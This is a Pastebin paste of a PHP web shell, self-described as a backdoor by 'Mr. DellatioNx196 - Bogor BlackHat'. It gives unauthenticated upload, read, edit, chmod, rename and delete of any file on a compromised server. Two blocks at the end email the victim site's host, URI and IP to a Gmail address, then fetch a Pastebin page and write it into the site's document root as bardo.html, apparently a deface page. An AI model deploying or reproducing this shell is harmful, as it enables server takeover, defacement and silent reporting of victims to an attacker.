Advertisement
TeamHackingArgentino

gg

Sep 18th, 2017
647
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.10 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>Tobitow</title>
  4. <style type="text/css">
  5. </style>
  6. </head>
  7. <header>
  8. <pre>
  9. <center>
  10.  
  11. Hello ! Shell Upload ! "
  12.  
  13. \ \
  14. \ \ \ \ \
  15. \ \ \ \
  16. .-. .---------------.
  17. | '-' \
  18. | | T H A ]
  19. | .-. /
  20. '-' '---------------' </center>
  21.  
  22. </pre>
  23. </header>
  24. </form>
  25.  
  26. <?php
  27. set_time_limit(0);
  28. error_reporting(0);
  29.  
  30. if(get_magic_quotes_gpc()){
  31. foreach($_POST as $key=>$value){
  32. $_POST[$key] = stripslashes($value);
  33. }
  34. }
  35. echo '<!DOCTYPE HTML>
  36. <HTML>
  37. <HEAD>
  38. <link href="" rel="stylesheet" type="text/css">
  39. <title>Mister Spy</title>
  40. <style>
  41. body{
  42. font-family: "Racing Sans One", cursive;
  43. background-color: #e6e6e6;
  44. text-shadow:0px 0px 1px #757575;
  45. }
  46. #content tr:hover{
  47. background-color: #636263;
  48. text-shadow:0px 0px 10px #fff;
  49. }
  50. #content .first{
  51. background-color: silver;
  52. }
  53. #content .first:hover{
  54. background-color: silver;
  55. text-shadow:0px 0px 1px #757575;
  56. }
  57. table{
  58. border: 1px #000000 dotted;
  59. }
  60. H1{
  61. font-family: "Rye", cursive;
  62. }
  63. a{
  64. color: #000;
  65. text-decoration: none;
  66. }
  67. a:hover{
  68. color: #fff;
  69. text-shadow:0px 0px 10px #ffffff;
  70. }
  71. input,select,textarea{
  72. border: 1px #000000 solid;
  73. -moz-border-radius: 5px;
  74. -webkit-border-radius:5px;
  75. border-radius:5px;
  76. }
  77. </style>
  78. </HEAD>
  79. <BODY>
  80. <H1><center>Tobitow </center></H1>
  81. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  82. <tr><td>Current Path : ';
  83. if(isset($_GET['path'])){
  84. $path = $_GET['path'];
  85. }else{
  86. $path = getcwd();
  87. }
  88. $path = str_replace('\\','/',$path);
  89. $paths = explode('/',$path);
  90.  
  91. foreach($paths as $id=>$pat){
  92. if($pat == '' && $id == 0){
  93. $a = true;
  94. echo '<a href="?path=/">/</a>';
  95. continue;
  96. }
  97. if($pat == '') continue;
  98. echo '<a href="?path=';
  99. for($i=0;$i<=$id;$i++){
  100. echo "$paths[$i]";
  101. if($i != $id) echo "/";
  102. }
  103. echo '">'.$pat.'</a>/';
  104. }
  105. echo '</td></tr><tr><td>';
  106. if(isset($_FILES['file'])){
  107. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  108. echo '<font color="green">File Upload Done up ^_^ .</font><br />';
  109. }else{
  110. echo '<font color="red">File Upload Error ~_~.</font><br />';
  111. }
  112. }
  113. echo '<form enctype="multipart/form-data" method="POST">
  114. Upload File : <input type="file" name="file" />
  115. <input type="submit" value="upload" />
  116. </form>
  117. </td></tr>';
  118. if(isset($_GET['filesrc'])){
  119. echo "<tr><td>Current File : ";
  120. echo $_GET['filesrc'];
  121. echo '</tr></td></table><br />';
  122. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  123. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  124. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  125. if($_POST['opt'] == 'chmod'){
  126. if(isset($_POST['perm'])){
  127. if(chmod($_POST['path'],$_POST['perm'])){
  128. echo '<font color="green">Change Permission Done.</font><br />';
  129. }else{
  130. echo '<font color="red">Change Permission Error.</font><br />';
  131. }
  132. }
  133. echo '<form method="POST">
  134. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  135. <input type="hidden" name="path" value="'.$_POST['path'].'">
  136. <input type="hidden" name="opt" value="chmod">
  137. <input type="submit" value="Go" />
  138. </form>';
  139. }elseif($_POST['opt'] == 'rename'){
  140. if(isset($_POST['newname'])){
  141. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  142. echo '<font color="green">Change Name Done.</font><br />';
  143. }else{
  144. echo '<font color="red">Change Name Error.</font><br />';
  145. }
  146. $_POST['name'] = $_POST['newname'];
  147. }
  148. echo '<form method="POST">
  149. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  150. <input type="hidden" name="path" value="'.$_POST['path'].'">
  151. <input type="hidden" name="opt" value="rename">
  152. <input type="submit" value="Go" />
  153. </form>';
  154. }elseif($_POST['opt'] == 'edit'){
  155. if(isset($_POST['src'])){
  156. $fp = fopen($_POST['path'],'w');
  157. if(fwrite($fp,$_POST['src'])){
  158. echo '<font color="green">Edit File Done ~_^.</font><br />';
  159. }else{
  160. echo '<font color="red">Edit File Error ~_~.</font><br />';
  161. }
  162. fclose($fp);
  163. }
  164. echo '<form method="POST">
  165. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  166. <input type="hidden" name="path" value="'.$_POST['path'].'">
  167. <input type="hidden" name="opt" value="edit">
  168. <input type="submit" value="Go" />
  169. </form>';
  170. }
  171. echo '</center>';
  172. }else{
  173. echo '</table><br /><center>';
  174. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  175. if($_POST['type'] == 'dir'){
  176. if(rmdir($_POST['path'])){
  177. echo '<font color="green">Delete Dir Done.</font><br />';
  178. }else{
  179. echo '<font color="red">Delete Dir Error.</font><br />';
  180. }
  181. }elseif($_POST['type'] == 'file'){
  182. if(unlink($_POST['path'])){
  183. echo '<font color="green">Delete File Done.</font><br />';
  184. }else{
  185. echo '<font color="red">Delete File Error.</font><br />';
  186. }
  187. }
  188. }
  189. echo '</center>';
  190. $scandir = scandir($path);
  191. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  192. <tr class="first">
  193. <td><center>Name</center></td>
  194. <td><center>Size</center></td>
  195. <td><center>Permissions</center></td>
  196. <td><center>Options</center></td>
  197. </tr>';
  198.  
  199. foreach($scandir as $dir){
  200. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  201. echo "<tr>
  202. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  203. <td><center>--</center></td>
  204. <td><center>";
  205. if(is_writable("$path/$dir")) echo '<font color="green">';
  206. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  207. echo perms("$path/$dir");
  208. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  209.  
  210. echo "</center></td>
  211. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  212. <select name=\"opt\">
  213. <option value=\"\"></option>
  214. <option value=\"delete\">Delete</option>
  215. <option value=\"chmod\">Chmod</option>
  216. <option value=\"rename\">Rename</option>
  217. </select>
  218. <input type=\"hidden\" name=\"type\" value=\"dir\">
  219. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  220. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  221. <input type=\"submit\" value=\">\" />
  222. </form></center></td>
  223. </tr>";
  224. }
  225. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  226. foreach($scandir as $file){
  227. if(!is_file("$path/$file")) continue;
  228. $size = filesize("$path/$file")/1024;
  229. $size = round($size,3);
  230. if($size >= 1024){
  231. $size = round($size/1024,2).' MB';
  232. }else{
  233. $size = $size.' KB';
  234. }
  235.  
  236. echo "<tr>
  237. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  238. <td><center>".$size."</center></td>
  239. <td><center>";
  240. if(is_writable("$path/$file")) echo '<font color="green">';
  241. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  242. echo perms("$path/$file");
  243. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  244. echo "</center></td>
  245. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  246. <select name=\"opt\">
  247. <option value=\"\"></option>
  248. <option value=\"delete\">Delete</option>
  249. <option value=\"chmod\">Chmod</option>
  250. <option value=\"rename\">Rename</option>
  251. <option value=\"edit\">Edit</option>
  252. </select>
  253. <input type=\"hidden\" name=\"type\" value=\"file\">
  254. <input type=\"hidden\" name=\"name\" value=\"$file\">
  255. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  256. <input type=\"submit\" value=\">\" />
  257. </form></center></td>
  258. </tr>";
  259. }
  260. echo '</table>
  261. </div>';
  262. }
  263. echo '<br />Mr. DellatioNx196 GaLers xh3LL Backd00r <font color="red">1.0</font>, Coded By <font color="red">Mr. DellatioNx196 - Bogor BlackHat</font>
  264. </BODY>
  265. </HTML>';
  266. function perms($file){
  267. $perms = fileperms($file);
  268.  
  269. if (($perms & 0xC000) == 0xC000) {
  270. // Socket
  271. $info = 's';
  272. } elseif (($perms & 0xA000) == 0xA000) {
  273. // Symbolic Link
  274. $info = 'l';
  275. } elseif (($perms & 0x8000) == 0x8000) {
  276. // Regular
  277. $info = '-';
  278. } elseif (($perms & 0x6000) == 0x6000) {
  279. // Block special
  280. $info = 'b';
  281. } elseif (($perms & 0x4000) == 0x4000) {
  282. // Directory
  283. $info = 'd';
  284. } elseif (($perms & 0x2000) == 0x2000) {
  285. // Character special
  286. $info = 'c';
  287. } elseif (($perms & 0x1000) == 0x1000) {
  288. // FIFO pipe
  289. $info = 'p';
  290. } else {
  291. // Unknown
  292. $info = 'u';
  293. }
  294.  
  295. // Owner
  296. $info .= (($perms & 0x0100) ? 'r' : '-');
  297. $info .= (($perms & 0x0080) ? 'w' : '-');
  298. $info .= (($perms & 0x0040) ?
  299. (($perms & 0x0800) ? 's' : 'x' ) :
  300. (($perms & 0x0800) ? 'S' : '-'));
  301.  
  302. // Group
  303. $info .= (($perms & 0x0020) ? 'r' : '-');
  304. $info .= (($perms & 0x0010) ? 'w' : '-');
  305. $info .= (($perms & 0x0008) ?
  306. (($perms & 0x0400) ? 's' : 'x' ) :
  307. (($perms & 0x0400) ? 'S' : '-'));
  308.  
  309. // World
  310. $info .= (($perms & 0x0004) ? 'r' : '-');
  311. $info .= (($perms & 0x0002) ? 'w' : '-');
  312. $info .= (($perms & 0x0001) ?
  313. (($perms & 0x0200) ? 't' : 'x' ) :
  314. (($perms & 0x0200) ? 'T' : '-'));
  315.  
  316. return $info;
  317. }
  318. ?>
  319. <?php
  320. $ip = getenv("REMOTE_ADDR");
  321. $ra44 = rand(1, 99999);
  322. $subj98 = " Bot V3 Rzlt Mr Spy |$ra44";
  323. $email = "ls345266@gmail.com";
  324. $from = "From: Result<botv3@mrspybotv3.com";
  325. $a45 = $_SERVER['REQUEST_URI'];
  326. $b75 = $_SERVER['HTTP_HOST'];
  327. $m22 = $ip . "";
  328. $msg8873 = "$a45 $b75 $m22";
  329. mail($email, $subj98, $msg8873, $from);
  330. ?>
  331. <?php
  332. $check3=$_SERVER['DOCUMENT_ROOT'] . "/bardo.html" ;
  333. $text3 = http_get('https://pastebin.com/raw/ge4xa4Pj');
  334. $op3=fopen($check3, 'w');
  335. fwrite($op3,$text3);
  336. fclose($op3);
  337. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement